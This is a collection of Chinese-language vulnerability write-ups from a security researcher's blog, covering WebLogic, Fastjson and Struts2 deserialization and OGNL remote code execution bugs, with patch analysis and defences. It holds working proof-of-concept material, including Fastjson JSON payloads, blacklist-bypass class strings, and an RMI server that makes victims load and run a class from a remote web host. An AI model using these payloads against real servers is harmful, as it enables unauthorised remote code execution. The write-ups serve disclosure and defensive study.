发表于 | 分类于 | | 阅读次数

已经在公众号发表，链接地址：https://mp.weixin.qq.com/s/ebKHjpbQcszAy_vPocW0Sg

1 背景

北京时间10月17日，Oracle官方发布的10月关键补丁更新CPU（Critical Patch Update）中修复了一个高危的WebLogic远程代码执行漏洞（CVE-2018-3191）。该漏洞允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server，成功的漏洞利用可导致WebLogic Server被攻击者接管，从而造成远程代码执行。这个漏洞由Matthias Kaiser，loopx9，Li Zhengdong申报。
1

2 补丁分析

如下图所示
2
这回的补丁主要增加了两个大类黑名单，分别是java.rmi.server.RemoteObject和com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager，RemoteObject是用于修补漏洞编号为CVE-2018-3245的漏洞，当时笔者在报这个漏洞的过程中就将所有涉及到RemoteObject相关的poc都提交给了Oracle官方。AbstractPlatformTransactionManager这个黑名单就是用于防止Spring JNDI注入，从官方以前的黑名单上就能看到org.springframework.transaction.support.AbstractPlatformTransactionManager,但是官方没有想到在com.bea.core.repackaged的相关包还有spring的相关类。其实这两个包中的类实现几乎一样，只是来源于不同的包。

3 动态分析

通过前一章的静态分析已经知道CVE-2018-3191所对应的补丁，就是AbstractPlatformTransactionManager，用于防止Spring JNDI注入。在我们的PoC中主要用到JtaTransactionManager这个类。下面来看一下这个类中关键的几个地方。

1
2
3
4
5
6
7
8
9
public class JtaTransactionManager extends AbstractPlatformTransactionManager implements TransactionFactory, InitializingBean, Serializable {
   public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";
   public static final String[] FALLBACK_TRANSACTION_MANAGER_NAMES = new String[]{"java:comp/TransactionManager", "java:appserver/TransactionManager", "java:pm/TransactionManager", "java:/TransactionManager"};
   public static final String DEFAULT_TRANSACTION_SYNCHRONIZATION_REGISTRY_NAME = "java:comp/TransactionSynchronizationRegistry";
   private static final String TRANSACTION_SYNCHRONIZATION_REGISTRY_CLASS_NAME = "javax.transaction.TransactionSynchronizationRegistry";
   private transient JndiTemplate jndiTemplate;
   private transient UserTransaction userTransaction;
   private String userTransactionName;
    .....

JtaTransactionManager类继承自AbstractPlatformTransactionManager，实现了Serializable接口，其中私有属性userTransactionName是用于JNDI寻址。
在Java反序列化中，入口有很多，readObject是最常见的，定位到JtaTransactionManager.readObject方法，实现如下：

1
2
3
4
5
6
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
   ois.defaultReadObject();
   this.jndiTemplate = new JndiTemplate();
   this.initUserTransactionAndTransactionManager();
   this.initTransactionSynchronizationRegistry();
}

继续跟踪initUserTransactionAndTransactionManager方法的实现：

1
2
3
4
5
6
7
8
9
10
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
   if (this.userTransaction == null) {
      if (StringUtils.hasLength(this.userTransactionName)) {
         this.userTransaction = this.lookupUserTransaction(this.userTransactionName);
         this.userTransactionObtainedFromJndi = true;
      } else {
         this.userTransaction = this.retrieveUserTransaction();
      }
   }
.....

在 initUserTransactionAndTransactionManager的方法中就有基于JNDI寻址方法lookupUserTransaction
关键寻址部分代码如下：

1
2
3
4
5
6
7
8
9
10
11
protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {
   try {
      if (this.logger.isDebugEnabled()) {
         this.logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
      }
      return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
   } catch (NamingException var3) {
      throw new TransactionSystemException("JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", var3);
   }
}

有了如上的分析，构造PoC也是水到渠成，下面是PoC的关键代码：

1
2
3
4
5
6
7
8
9
10
public static Object getJtaTransactionManagerObject(String command){
int seq = command.indexOf(':');
if (seq < 0){
command = "rmi://localhost:1099/Exploit";
}
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(command);
return jtaTransactionManager;
}

更详细的关于JNDI的使用可参考作者以前的博文，这里不再重复。漏洞效果如下图：
3

由于这个漏洞利用的gadget是weblogic中自带的，跟JDK版本无关，所以只要系统能连外网，未禁止T3协议，漏洞就可以利用，威力巨大，请尽快升级到Weblogic最新版。

发表于 | 分类于 | | 阅读次数

发表于2017年11月22日，修改于2018年10月23日

背景

这篇文章主要是基于我在看雪2017开发者峰会的演讲而来，由于时间和听众对象的关系，在大会上主要精力都集中在反序列化的防御上。前面的Fastjson PoC的构造分析涉及得很少，另外我在5月份分享的Fastjson Poc构造与分析限制条件太多，所以写下这篇文章。

Fastjson 使用

Fastjson是Alibaba开发的，Java语言编写的高性能JSON库。采用“假定有序快速匹配”的算法，号称Java语言中最快的JSON库。Fastjson接口简单易用，广泛使用在缓存序列化、协议交互、Web输出、Android客户端
提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。项目地址：https://github.com/alibaba/fastjson。那我们看下如何使用？首先定义一个User.java,代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class User {
    private Long   id;
    private String name;
    public Long getId() {
        return id;
    }
    public void setId(Long id) {
        this.id = id;
    }
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
}

序列化的代码如下：

1
2
3
4
5
6
import com.alibaba.fastjson.JSON;
User guestUser = new User();
guestUser.setId(2L);
guestUser.setName("guest");
String jsonString = JSON.toJSONString(guestUser);
System.out.println(jsonString);

反序列化的代码示例：

1
2
String jsonString = "{\"name\":\"guest\",\"id\":12}";
User user = JSON.parseObject(jsonString, User.class);

上述代码的parseObject也可以直接用parse接口。

Fastjson安全特性

反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理，@type可以指定反序列化任意类，调用其set，get，is方法。
1
上图则是Fastjson反序列框架图。JSON门面类，提供一些静态方法，如parse，parseObject.其主要功能都是在DefaultJSONParser类中实现。DefaultJSONParser引用了ParserConfig，主要保存一些相关配置信息。也引用了JSONLexerBase，这个类用来处理字符分析。而反序列化用到的JavaBeanDeserializer则是JavaBean反序列化处理主类。fastjson在1.2.24版本添加enable_autotype开关，将一些类加到黑名单中，后续我也给它报过bypass，fastjson也一并修复。

JNDI

JNDI即Java Naming and Directory Interface，翻译成中文就Java命令和目录接口，2016年的blackhat大会上web议题重点讲到，但是对于json这一块没有涉及。JNDI提供了很多实现方式，主要有RMI，LDAP，CORBA等。我们可以看一下它的架构图
2，JNDI提供了一个统一的外部接口，底层SPI则是多样的。在使用JNDIReferences的时候可以远程加载外部的对象，即实现factory的初始化。如果说其lookup方法的参数是我们可以控制的，可以将其参数指向我们控制的RMI服务，切换到我们控制的RMI/LDAP服务等等。

1
2
3
4
5
Registry registry = LocateRegistry.createRegistry(1099);
//http://xxlegend.com/Exploit.class
Reference reference = new javax.naming.Reference(“Exploit",“Exploit","http://xxlegend.com/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind(“Exploit", referenceWrapper);

这段代码主要讲到了在1099端口上创建一个RMI服务，RMI的内容则是通过外部的http服务地址获取。在客户端则是将lookup的地址指向刚才我们创建的RMI服务，即能达到远程代码执行的目的。可以使用如下的请求端代码进行测试：

1
2
3
4
5
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
Object local_obj = RicterCctx.lookup("rmi://xxlegend.com/Exploit");

那么攻击者的流程就是这样的。攻击者准备rmi服务和web服务，将rmi绝对路径注入到lookup方法中，受害者JNDI接口会指向攻击者控制rmi服务器，JNDI接口向攻击者控制web服务器远程加载恶意代码，执行构造函数形成RCE。

PoC构造与分析

介绍的背景有点多，正式切入我们的正题，基于JdbcRowSetImpl的PoC是如何构造和执行的。在今年5月份的时候，我也公布了Fastjson基于TemplateImpl的PoC的，但是限制还比较多，需要打开SupportNonPublic开关，这个场景是比较少见的，详细的分析见我的博客http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/，后续ricterz也作了一篇分析：https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up。
在看雪峰会上我提到了好几种PoC，下面我简单的给这些PoC做个分类：
1，基于TemplateImpl
2，基于JNDI Bean Property类型
3，基于JNDI Field类型

今天主讲基于JNDI Bean Property这个类型，这个类型和JNDI Field类型的区别就在于Bean Property需要借助setter，getter方法触发，而Field类型则没有这个必要。JdbcRowSetImpl刚好就在Bean Property分类之下，其他的PoC后续再讲。这个Poc相对于TemplateImpl却没有一点儿限制，当然java在JDK 6u132, 7u122, or 8u113补了是另外一码事。 PoC具体如下：

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:389/obj","autoCommit":true}

由于这个PoC是基于JNDI，下面我们简单构造一下，首先是服务端的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class JNDIServer {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        Registry registry = LocateRegistry.createRegistry(1099);
        //http://xxlegend.com/Exploit.class即可
        Reference reference = new Reference("Exloit",
                "Exploit","http://xxlegend.com/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        start();
    }
}

rmi服务端需要一个Exploit.class放到rmi指向的web服务器目录下，这个Exploit.class是一个factory，通过Exploit.java编译得来，在JNDI执行的过程会被初始化。如下是Exploit.java的代码：

1
2
3
4
5
6
7
8
9
10
11
12
public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("calc");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

服务端构造好之后，下面来看java应用执行的代码，示例如下：

1
2
3
4
5
6
7
8
9
10
11
12
public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
        //        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," +
//                " \"autoCommit\":true}";
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                " \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

完整的代码已经放到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PoC调用栈如下
![3](/images/JdbcRowSetImpl_3.png)
从这个调用栈就可以看出，在进入Gadget之前，首先是Java应用调用Fastjson的parseObject或者parse接口，进入JavaObjectDeserializer.deserialize方法，经过一系列判断之后发现是JavaBean，就会调用JavaBeanDeserializer.deserialize接口,反序列化得到Gadget相关域，在这个过程中都是通过反射调用这些域的getter，setter或者is方法，这就正式在Gadget执行代码。下面看一下在Gadget中执行的代码。在反序列化过程中是有次序来调用相应接口的，首先是设置dataSourceName属性，这个是其父类BaseRowSet继承过来的。
```java
public void setDataSourceName(String name) throws SQLException {
    if (name == null) {
        dataSource = null;
    } else if (name.equals("")) {
       throw new SQLException("DataSource name cannot be empty string");
    } else {
       dataSource = name;
    }
    URL = null;
}

设置autoCommit属性:

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
    if(this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

这setAutoCommit里函数里会触发connect函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
    if(this.conn != null) {
        return this.conn;
    } else if(this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
    }
}

这里面就调用InitialContext的lookup方法，而且找到的就是我们前面设置的DataSourceName(),达到远程调用任意类的目的。由于JdbcRowSetImpl是官方自带的库，所以这个PoC的威力相对来说更厉害。如果还在使用Fastjson 1.2.24版本及以下烦请升级。

引用：
1，https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
2,http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

发表于 | 分类于 | | 阅读次数

综述

2017年7月7日，Apache Struts发布最新的安全公告，Apache Structs2的strus1插件存在远程代码执行的高危漏洞，漏洞编号为CVE-2017-9791（S2-048）。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin的插件，远程执行代码

漏洞分析

(1) 漏洞简介
Apache Struts2.3.x系列版本中struts2-struts1-plugin存在远程代码执行漏洞，进而导致任意代码执行。
(2) 漏洞分析
官方的漏洞描述如下：

从官方的漏洞描述我们可以知道，这个漏洞本质上是在struts2-struts1-plugin这个jar包上。这个库是用将struts1的action封装成struts2的action以便在strut2上使用。本质原因还是在struts2-struts1-plugin包中Struts1Action.java中execute函数调用了getText函数，这个函数会执行ognl表达式，更可恶的是getText的输入内容还是攻击者可控的。以下分析基于struts2的官方示例struts2-showcase war包。首先Struts1Action的execute方法代码如下，从红框中信息可以看出其实质是调用SaveGangsterAction.execute方法，然后再调用getText(msg.getKey()….)。
1
在struts2-showcase的integration模块下有SaveGangsterAction.java的execute方法的实现。具体如下：
2
在这个方法中就带入有毒参数gforn.getName()放到了messages结构中，而gform.getName()的值是从客户端获取的。Gangsterform.getName()的实现如下：
3
我们这里传入了${1+1}。有毒参数已经带入，就差ognl表达式。继续回到Struts1Action.java的execute方法下半部分，这里有getText()的入口，能清晰看到参数已经被污染，具体如下图：
4
下面进入getText的实现函数：这个调用栈比较深，首先我们给出栈图：
5
从Struts1action.execute函数开始，到ActionSupport的getText()方法，方法如下：
6
接着进入TextProviderSuppport.getText，接着调用其另一个重载类方法getText(),示例如下：
7
如图所示，进入LocalizeTextUtil.findText，继续分析其实现：从名字上也能看出其是根据用户的配置做一些本地化的操作。代码如下：
8
熟悉struts2的童鞋跟到这一步就能发现这就是一个很典型的ognl表达式入口，先是得到一个valueStack，再继续递归得到ognl表达式的值。这里不再描述，详情可参考官方链接：https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/util/LocalizedTextUtil.html
最后附上一个简单的测试用例图：
9
10

发表于 | 分类于 | | 阅读次数

漏洞公告

文章从公众号转移过来，在博客上做个记录。

北京时间8月22日13时，Apache官方发布通告公布了Struts2中一个远程代码执行漏洞（CVE-2018-11776）。该漏洞在两种情况下存在，第一，在xml配置中未设置namespace值，且上层动作配置（upper action(s) configurations）中未设置或用通配符namespace值。第二，使用未设置 value和action值的url标签，且上层动作配置（upper action(s) configurations）中未设置或用通配符namespace值。

补丁对比

0
如图所示，补丁主要添加了cleanNamespaceName方法，该方法通过白名单的方式来验证namespace是否合法，从官方描述和漏洞修复方式来看，该漏洞应该是一个Ognl的表达式注入漏洞

动态分析

漏洞发布几个小时之后，漏洞发现作者公布了整个发现过程，并且详细分析了一种漏洞情形：https://lgtm.com/blog/apache_struts_CVE-2018-11776
按照该博客的说法，拉取struts2-showcase项目作为示例，修改struts-actionchaining.xml，具体如下：

1
2
3
4
5
6
7
8
9
<struts>
	<package name="actionchaining" extends="struts-default" >
		<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
			<result type="redirectAction">
				<param name = "actionName">register2</param>
			</result>
		</action>
	</package>
</struts>

在这种情况下，所有到actionChain1.action的请求的返回结果都会指向register2，并且执行链会到ServletActionRedirectResult.execute方法中，具体如下：
1

从上图可以看出，通过namespace字段，污染了tmpLocation字典，并且设置为了预期的执行的PoC，这也是补丁中为什么要净化namespace的原因，继续跟踪namespace的去向,执行链会到ServletActionRedirectResult的父类的父类StrutsResultSupport.execute方法中，具体如下图
2
这里有个conditionParse方法，这个方式就是使用Ognl表达式来计算数据值，在系统中用得非常多，而且在一些历史漏洞中，也应该由它来背锅，当然最大的锅还是struts官方，每次漏洞出在哪就修在哪，典型的头痛医头，脚痛医脚。方法实现如下图所示
3
在这个方法中会使用到TextParseUtil.translateVariables方法，继续跟踪，调用栈进入OgnlTextParser中的evaluate方法,首先会判断传入的表达式是否合法，比如是否能找到${}或者%{}对，接着调用evaluator.evaluate求值，求值过程非常复杂，总得来说就是链式执行过程，具体如下调用栈：
4
从上图也可以看出最顶层就是通过反射的方式来调用ProcessBuilder的构造函数，中间部分就是链式执行过程中牵涉到一些操作。
我们可以看下求值过程中参数的一些情况。来查看Ognl安全加固的一些变化，具体如下图：
5
主要是黑名单上又添加了一些类，分别是
class ognl.DefaultMemberAccess class com.opensymphony.xwork2.ognl.SecurityMemberAccess class java.lang.ProcessBuilder

分析就结束了，计算器还是要弹的，如下图：
6

PoC 构造

这块是最难的，也是最不好调试的，利用showcase项目很早就能执行${(1+1)}=2的效果，但是要弹出计算器，并不容易，其实就是新的沙箱的绕过，当时在调试的时候就发现，每次的返回结果都是空，没办法，只能耐着性子，将原先的PoC进行拆分，一个单元的一个单元的测试。测试获取#context的时候总为空，后来发现导致无法获取OgnlUtil的实例，怎么获取context，有多种方式，从代码结构来看可以从ognl表达式一些固有表达式来获取，如#root,#request等。

发表于 | 分类于 | | 阅读次数

1 议题和个人介绍

1.1 议题概述

2017年又是反序列漏洞的大年，涌现了许多经典的因为反序列化导致的远程代码执行漏洞，像fastjson，jackson，struts2，weblogic这些使用量非常大的产品都存在这类漏洞，但不幸的是，这些漏洞的修复方式都是基于黑名单，每次都是旧洞未补全，新洞已面世。随着虚拟货币的暴涨，这些直接的远程执行代码漏洞都成了挖矿者的乐园。
本议题将从那些经典案例入手，分析攻击方和防御方的对抗过程。首先是fastjson的最近的安全补丁的分析，由于黑名单做了加密处理，这里会展开如何得到其黑名单，如何构造PoC。当然2018年的重点还是weblogic，由我给大家剖析CVE-2018-2628及其他Weblogic经典漏洞，带大家傲游反序列化的世界，同时也是希望开发者多多借鉴做好安全编码。

1.2 个人简介：

本文作者来自绿盟科技，现任网络安全攻防实验室安全研究经理，安全行业从业七年，是看雪大会讲师，Pycon大会讲师，央视专访嘉宾，向RedHat、Apache、Amazon，Weblogic，阿里提交多份RCE漏洞报告，最近的Weblogic CVE-2018-2628就是一个。

个人博客：xxlegend.com 个人公众号:廖新喜

2 反序列化入门

序列化和反序列化是java引入的数据传输存储接口，序列化是用于将对象转换成二进制串存储，对应着writeObject，而反序列正好相反，将二进制串转换成对象，对应着readObject，类必须实现反序列化接口，同时设置serialVersionUID以便适用不同jvm环境。
可通过SerializationDumper这个工具来查看其存储格式,工具直接可在github上搜索.主要包括Magic头：0xaced,TC_OBJECT:0x73,TC_CLASS:0x72,serialVersionUID,newHandle
使用场景:
• http参数，cookie，sesion，存储方式可能是base64（rO0），压缩后的base64（H4sl），MII等
• Servlets HTTP，Sockets，Session管理器 包含的协议就包括JMX，RMI，JMS，JNDI等（\xac\xed）
• xml Xstream,XMLDecoder等（HTTP Body：Content-Type:application/xml）
• json(Jackson，fastjson) http请求中包含

反序列攻击时序图:
1

常见的反序列化项目：
• Ysoserial 原生序列化PoC生成
• Marshalsec 第三方格式序列化PoC生成
• Freddy burp反序列化测试插件
• Java-Deserialization-Cheat-Sheet

3 fastjson

3.1 简介

Fastjson是Alibaba开发的，Java语言编写的高性能JSON库。采用“假定有序
快速匹配”的算法，号称Java语言中最快的JSON库。提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化，示例代码如下：

1
2
3
4
5
User user = new User("guest",2);
String jsonString = JSON.toJSONString(user)
String jsonString = "{\"name\":\"guest\",\"age\":12}"
User user = (User)JSON.parse(jsonString)

Fastjson PoC分类
主要分为两大类，一个是基于TemplateImpl，另外就是基于基于JNDI，基于JNDI的又可分为
a) Bean Property类型
b) Field类型
可以参考Demo：https://github.com/shengqi158/fastjson-remote-code-execute-poc

fastjson为了防止研究人员研究它的黑名单，想出了一套新的黑名单机制，这套黑名单是基于具体类的hash加密算法，不可逆。如果是简单穷举，基本算不出来，后来我想到这些库的黑名单肯定都在Maven仓库中，于是写了个爬虫，爬取Maven仓库下所有类，然后正向匹配输出真正的黑名单类。

3.2 fastjson最近的几个经典漏洞

下面这段代码是fastjson用来自定义loadClass的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static Class<?> loadClass(String className, ClassLoader classLoader) {
	//省略
     if (className.charAt(0) == '[') {
         Class<?> componen/tType = loadClass(className.substring(1), classLoader);
         return Array.newInstance(componentType, 0).getClass();
     }
     if (className.startsWith("L") && className.endsWith(";")) {
         String newClassName = className.substring(1, className.length() - 1);
         return loadClass(newClassName, classLoader);
     }
     try {
         if (classLoader != null) {
             clazz = classLoader.loadClass(className);

首先我们来看一个经典的PoC，{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true},关于这个PoC的解读在我博客上有，这里不再详述，但是今天我们要讲的是前面贴出的一段loadClass导致的一系列漏洞，首先看1.2.41的绕过方法是Lcom.sun.rowset.RowSetImpl;,当时看到这个PoC的时候就在想官方不会只去掉一次第一个字符L和最后一个字符；吧，果不其然，在官方的修补方案中，如果以L打头，；结尾则会去掉打头和结尾。当时我就发了一个感概：补丁未出，漏洞已行。很显然，1.2.42的绕过方法是LLcom.sum.rowset.RowSetImpl;;,细心的读者还会看到loadClass的第一个if判断中还有[打头部分，所以就又有了1.2.43的绕过方法是 [com.sun.rowset.RowSetImp.
在官方版本1.2.45黑名单中又添加了ibatis的黑名单，PoC如下:{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}，首先这是一个基于JNDI的PoC，为了更加理解这个PoC，我们还是先来看一下JndiDataSourceFactory的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class JndiDataSourceFactory implements DataSourceFactory {
  public static final String DATA_SOURCE = "data_source";
  //省略
  public void setProperties(Properties properties) {
    try {
      InitialContext initCtx = null;
      Hashtable env = getEnvProperties(properties);
      if (env == null) {
        initCtx = new InitialContext();
      } else {
        initCtx = new InitialContext(env);
      }
      //省略
      } else if (properties.containsKey(DATA_SOURCE)) {
        dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
      }
    } catch (NamingException e) {
      throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
    }
  }

其本质还是通过bean操作接口set来调用setProperties，然后触发JNDI查询。

4 weblogic

Weblogic是第一个成功商业化的J2EE应用服务器，在大型企业中使用非常广泛。在Oracle旗下，可以与其他Oracle产品强强联手，WebLogic Server Java EE 应用基于标准化、模块化的组件，WebLogic Server 为这些模块提供了一组完整的服务，无需编程即可自动处理应用行为的许多细节，另外其独有的T3协议采用序列化实现。下图就是weblogic的历史漏洞展示：
2

CVE-2015-4852

基于T3
• 新的攻击面
• 基于commons-collections
• 采用黑名单修复

1
2
3
4
5
6
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure

• 作用位置有限

1
2
3
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

CVE-2016-0638

首先来看下漏洞位置，在readExternal位置，

1
2
3
4
5
6
7
8
9
10
11
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
  		super.readExternal(var1);
  		//省略
              ByteArrayInputStream var4 = new ByteArrayInputStream(this.buffer);
              ObjectInputStream var5 = new ObjectInputStream(var4);
              //省略
              try {
                  while (true) {
                      this.writeObject(var5.readObject());
                  }
              } catch (EOFException var9) {

再来看看补丁，加了一个FilteringObjectInputStream过滤接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    		public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
        		super.readExternal(var1);
        		//省略
                    this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in)
                    BufferInputStream is = this.payload.getInputStream();
                    FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4);
                    //省略
                    try {
                        while (true) {
                            this.writeObject(var5.readObject());
                        }
                    } catch (EOFException var9) {
```                    
FilteringObjectInputStream的实现如下：
```java
   public class FilteringObjectInputStream extends ObjectInputStream {
   public FilteringObjectInputStream(InputStream in) throws IOException {
      super(in);
   }
   protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
      String className = descriptor.getName();
      if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
         throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
      } else {
         return super.resolveClass(descriptor);
      }
   }
}

其实就是在resolveClass位置加了一层黑名单控制。

基于XMLDecoder

• CVE-2017-3506 由于使用了存在反序列化缺陷XMLDecoder导致的漏洞
• CVE-2017-10271 是3506的绕过
• 都是挖矿主力军
• 基于http协议
详细解读可参考我的博客：http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/

CVE-2017-3248

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
   protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
      String className = descriptor.getName();
      if(className != null && className.length() > 0 
      	&& ClassFilter.isBlackListed(className)) {
         throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
      } else {
         Class c = super.resolveClass(descriptor);
   		//省略
      }
   }
   protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
      String[] arr$ = interfaces;
      int len$ = interfaces.length;
      for(int i$ = 0; i$ < len$; ++i$) {
         String intf = arr$[i$];
         if(intf.equals("java.rmi.registry.Registry")) {
            throw new InvalidObjectException("Unauthorized proxy deserialization");
         }
      }
      return super.resolveProxyClass(interfaces);
   }

CVE-2017-3248 这个漏洞是根据JRMPListener来构造的，从这个补丁也可以看出，在resolveClass和resolveProxyClass都设置了黑名单。

CVE-2018-2628

这个漏洞是我报给Oracle官方的，但是他们并没有修复完全，导致后来这个漏洞被滥用。
• 完美绕过CVE-2017-3248
• 基于StreamMessage封装
• 利用java.rmi.activation.Activator绕过补丁中对java.rmi.registry.Registry的限制
• Proxy非必须项
攻击示意图如下：
3
简单分析可见：http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/

5 反序列化防御

5.1 Weblogic防御

• 过滤T3协议，限定可连接的IP
• 设置Nginx反向代理，实现t3协议和http协议隔离
• JEP290（JDK8u121，7u131，6u141），这个机制主要是在每层反序列化过程中都加了一层黑名单处理，黑名单如下：
黑名单：

1
2
3
4
5
6
7
8
9
10
maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTra
nsactionManager;
!sun.rmi.server.UnicastRef;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*

当然也有失效的时候，就是发现了新的gadget。这也促使Oracle开始放弃反序列化支持。

5.2 原生反序列化防御

• 不要反序列化不可信的数据
• 给反序列数据加密签名，并确保解密在反序列之前
• 给反序列化接口添加认证授权
• 反序列化服务只允许监听在本地或者开启相应防火墙
• 升级第三方库
• 升级JDK，JEP290

6 招人

绿盟科技Web攻防实验室欢迎各位应聘，招聘大牛和实习生。团队专注于最前沿的Web攻防研究，大数据分析，前瞻性攻击与检测预研.
联系邮箱： liaoxinxi[@]nsfocus.com 或者liwenjin[@]nsfocus.com

pdf:

发表于 | 分类于 | | 阅读次数

1，概述

当地时间4月17日，北京时间4月18日凌晨，Oracle官方发布了4月份的关键补丁更新CPU（Critical Patch Update）,其中包含一个高危的Weblogic反序列化漏洞(CVE-2018-2628)，这个漏洞是我在去年11月份报给Oracle的，通过该漏洞，攻击者可以在未授权的情况下远程执行任意代码。

参考链接：

http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html

漏洞影响范围
Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.2

Weblogic 12.2.1.3

2，复现

第一步发送测试PoC，PoC中远程连接的服务器地址就是第二步中所使用的服务器，攻击的ip是192.168.3.103的7001端口上的T3服务，该服务会解包Object结构，通过一步步的readObject去第二步服务器上的1099端口请求恶意封装的代码，然后在本地弹出计算器。
1

第二步在远程服务器上启用ysoserial.exploit.JRMPListener，JRMPListener会将含有恶意代码的payload发送回请求方。

2
查看weblogic的日志，可以看到如下错误，此时已经弹出计算器：
3

3，分析

